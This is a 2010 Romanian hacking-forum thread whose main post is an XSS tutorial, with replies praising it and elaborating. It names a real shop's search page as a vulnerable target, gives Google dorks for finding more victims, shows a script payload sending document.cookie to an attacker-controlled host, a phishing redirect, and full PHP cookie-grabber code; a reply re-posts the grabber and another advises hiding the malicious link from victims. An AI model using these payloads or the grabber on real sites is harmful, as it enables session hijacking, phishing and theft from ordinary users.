Moderators Dragos Posted May 19, 2010 Moderators Report Share Posted May 19, 2010 (edited) Despre XSSAutor: SynthesisData: 19 mai 2010Acest articol este munca a doua ore si un bax de Becks.Cuprins: [1] Ce este XSS?[2] Tipuri de XSS[2.1] XSS nepersistent[2.2] XSS persistent[3] Cum se exploateaza un XSS?[3.1] Furtul de prajiturele[3.2] Redirectionarea catre alta pagina[3.3] Trecerea de filtrele de securitate[4] Cum se creeaza un cookie grabber?Cerinte: Cunostinte HTMLCunostinte JavaScriptCunostinte PHP1. Ce este XSS?XSS (Cross Site Scripting) este o vulnerabilitate foarte intalnita in aplicatiile web ce permite utilizatorilor sa injecteze cod javascript in pagini web ce pot fi vizualizate de ceilalti. Cu ajutorul acestor coduri javascript se pot fura cookie-uri, se pot trece de filtrele de securitate, se pot face redirectionari catre alte pagini web pentru phishing. Vom vorbi despre toate acestea pe parcursul articolului.Vulnerabilitatile de tip XSS sunt exploatate inca din anii '90. Timp de 20 de ani, acest atac a afectat multe site-uri mari precum Google, Yahoo!, hi5, Facebook, MySpace, Tagged s.a.2. Tipuri de XSSExista doua tipuri de Cross Site Scripting.[2.1] XSS nepersistentIn primul rand este XSS-ul nepersistent (sau reflectat), ce se foloseste in formularele de tip HTML (HTML forms). Spre exemplu, luam site-ul First Bike. Vom observa in partea dreapta sus o casuta de cautare. Sa scriem spre exemplu cuvantul test. URL-ul va fi de genul urmator : http://firstbike.ro/cauta.php?src=testBun, deci cautarea se face prin GET. In loc de test vom adauga un cod javascript simplu, si anume alert.http://firstbike.ro/cauta.php?src=<script>alert('xss')</script>Browserul va arata o casuta in care scrie xss. Acum, in loc de 'xss' vom pune document.cookie. Acesta este defapt cookie-ul tau de pe site.http://firstbike.ro/cauta.php?src=<script>alert(document.cookie)</script>De aici, se poate crea un cookie grabber pentru a fura cookie-urile utilizatorilor. Vom vorbi despre asta putin mai tarziu in articol.[2.2] XSS persistentIn al doilea rand este XSS-ul persistent (sau retinut), ce este mult mai rau decat XSS-ul reflectat. Acest tip de XSS este memorat in site si este accesibil oricarui utilizator. Cel mai frecvent am observat ca acest tip de XSS se regaseste in site-urile ce memoreaza ultimele cautari alte utilizatorilor. Puteti vedea aici un exemplu de XSS persistent. Pentru mai multe XSS-uri persistente cautati pe Google cu Google dorks:intext: cautari similareintext: cautari recenteintext: ulitmele cautariintext: cautari referateintext: cautari muzicaetc.3. Cum se exploateaza un XSS?Cum apare un XSS?Un XSS apare din cauza nefiltrarii (sau filtrarii proaste) a codului. Aveti mai jos un exemplu de nefiltrare al XSS-ului<html><head><title>Vulnerabilitate XSS</title></head><body><form action="index.php" method="get"><input type="text" value="codul tau aici" name="cauta"><input type="submit" value="cauta"></form><?php$get = $_GET['cauta'];echo $get;?>Pentru a exploata un XSS, trebuie in primul rand sa ai notiunile de baza despre JavaScript. [3.1] Furtul de prajitureleXSS-ul este folosit in principal pentru a fura prajiturele (cookies). Pentru asta, se foloseste document.location sau window.location pentru a redirectiona victima catre un cookie grabber (despre care discutam imediat in articol). Codul este urmatorul:<script>document.location="http://www.siteultau.ro/grabber/index.php?cookie="+document.cookie;</script>[3.2] Redirectionarea catre alta paginaCodul este aproximativ la fel, doar ca nu mai folosim document.cookie. Acest cod este folosit deseori pentru furtul de date.<script>document.location="http://www.siteultau.ro/paginafalsa/index.php";</script>[3.3] Trecerea de filtrele de securitateAcest tip de XSS este scris de obicei in bara de adresa.Spre exemplu, daca avem un INPUT care are valoarea maxima de X caractere, putem folosi comanda urmatoare pentru a scrie cate caractere vrem: javascript:document.getElementsByTagName('form')[0].NAME.value = "textul tau aici"; void(0);[0] = index-ulNAME = NAME-ul input-ului (ex: <input type="text" name="rstcenter">)Prin acest JavaScript am dat de cateva XSS permanente in site-uri mari precum Yahoo! si hi5.4. Cum se creeaza un cookie grabber?Am discutat anterior despre furtul cookie-urilor. Acum voi explica cum se face un simplu cookie grabber.In primul rand vom folosi functia $_GET pentru a prelua cookie-ul.<?php$c = $_GET['cookie'];?>Aceasta functie va prelua orice text ce vine dupa cookie=. Spre exemplu, daca avem index.php?cookie=2dccd1ab3e03990aea77359831c85ca2, codul 2dccd1ab3e03990aea77359831c85ca2 va fi preluat in variabila $c. Il vom memora intr-un fisier .txt.<?php$c= $_GET['cookie'] . "\n";$fisier = "prajiturele.txt";$deschis = fopen($fisier, 'a');fwrite($deschis, $c);fclose($deschis);?>Pentru incepatori: 1. Fisierul prajiturele.txt se pune in acelasi director cu cookie grabber-ul.2. Fisierul prajiturele.txt primeste CHMOD 777.Sper ca v-a ajutat acest mic tutorial! Edited July 5, 2010 by Dragos 4 2 Quote Link to comment Share on other sites More sharing options...
strike Posted May 19, 2010 Report Share Posted May 19, 2010 Frumos.Bravo Quote Link to comment Share on other sites More sharing options...
Luci Posted May 19, 2010 Report Share Posted May 19, 2010 Foarte bine explicat. Bravo! Quote Link to comment Share on other sites More sharing options...
ROFL Posted May 19, 2010 Report Share Posted May 19, 2010 Quote Link to comment Share on other sites More sharing options...
Flubber Posted May 19, 2010 Report Share Posted May 19, 2010 [3.3] -- bun bun; un tutorial bine explicat pentru incepatori, mai ales notiunea GET (deasemenea puteai sa faci si o mica paranteza explicand de ce GET si nu POST si/sau care sunt diferentele intre acestea 2) Quote Link to comment Share on other sites More sharing options...
Birkoff Posted May 19, 2010 Report Share Posted May 19, 2010 Synthesis fain tutorialul, vezi ca ti-am trimis un PM Quote Link to comment Share on other sites More sharing options...
parazitul29 Posted May 19, 2010 Report Share Posted May 19, 2010 (edited) dar sa zicem ca un site are vulnerabilitatea xss si are poti sa pui comentari la articole daca pun un comentariu <script>alert("parazitul29")</script> il ia ca script si se afiseaza parazitul29 oricui vizualizeaza acel articol sau codul nu este luat ca script si nu se intampla nimic, eu cred ca e prima varianta Edited May 19, 2010 by parazitul29 Quote Link to comment Share on other sites More sharing options...
Moderators Dragos Posted May 19, 2010 Author Moderators Report Share Posted May 19, 2010 dar sa zicem ca un site are vulnerabilitatea xss si are poti sa pui comentari la articole daca pun un comentariu <script>alert("parazitul29")</script> il ia ca script si se afiseaza parazitul29 oricui vizualizeaza acel articol sau codul nu este luat ca script si nu se intampla nimic, eu cred ca e prima variantaIncearca sa introduci codul javascript la comentarii dupa care sa intri cu proxy pe site (javascript enabled). Daca este xss persistent si TRECE de filtre, poti introduce cookie grabber sau o pagina pentru phishing. Quote Link to comment Share on other sites More sharing options...
Fitty Posted May 19, 2010 Report Share Posted May 19, 2010 Daca acel cod JS ramane acolo, in comentariu, si se executa, location.href direct, redirect, vizite Lasa dracu alert() Vezi ca la $c = $_GET['cookie'] . '\n'; trebuie double quotes pe \n. Quote Link to comment Share on other sites More sharing options...
hirosima Posted May 19, 2010 Report Share Posted May 19, 2010 ar trebui ca un moderator sa mute postul in sectiunea XSS Quote Link to comment Share on other sites More sharing options...
storyfire Posted May 29, 2010 Report Share Posted May 29, 2010 Super felicitari foarte bine spus! Quote Link to comment Share on other sites More sharing options...
SeekNDestroy Posted May 30, 2010 Report Share Posted May 30, 2010 Super!Foarte detaliat!Multumesc! Quote Link to comment Share on other sites More sharing options...
neo.hapsis Posted May 31, 2010 Report Share Posted May 31, 2010 Un tutorial bine explicat si foarte detaliat.Pentru munca si efortul pus de tine meri?i un rep ,le ai de la mine Quote Link to comment Share on other sites More sharing options...
ronin33dan Posted June 2, 2010 Report Share Posted June 2, 2010 Superb ! Multam! Quote Link to comment Share on other sites More sharing options...
cavalerunegru Posted June 10, 2010 Report Share Posted June 10, 2010 Lol belea am inteles tot Dar nam inteles partea cu coockie grabber cum se face? Astept raspuns. Quote Link to comment Share on other sites More sharing options...
parazitul29 Posted June 10, 2010 Report Share Posted June 10, 2010 il pui pe aite-ul tau(sunt zeci de hosturi free) si il denumesti graber.php si mai faci si prajiturele.txt si cum a scris si sintethis trebuie sa cfie cu chmod777 uite o explicatie a cokie grabberului poate intelegi ceva<?php$c= $_GET['cookie'] . "\n";//se salveaza cookie-ul in variabila c$fisier = "prajiturele.txt";//fisierul in care se va scrie cookie$deschis = fopen($fisier, 'a');// se deschide fisierulfwrite($deschis, $c);//se scrie in fiserul pe care l-ai deschis,variabila "c" care contine cokie-ulfclose($deschis);//se inchide fisierul?> Quote Link to comment Share on other sites More sharing options...
hirosima Posted June 10, 2010 Report Share Posted June 10, 2010 mai e ceva:1) va trebui sa sti cum se formeaza linkul malitios2) si modul in care il ascunzi sa nu fie detectat de catre victima Quote Link to comment Share on other sites More sharing options...
black_death_c4t Posted June 11, 2010 Report Share Posted June 11, 2010 suna mai bine temporar si permananet decat persistent si nepersistent Quote Link to comment Share on other sites More sharing options...
luke999 Posted February 15, 2011 Report Share Posted February 15, 2011 primul tutorial care l-am inteles despre xss...merci man ...ai +1 la rep Quote Link to comment Share on other sites More sharing options...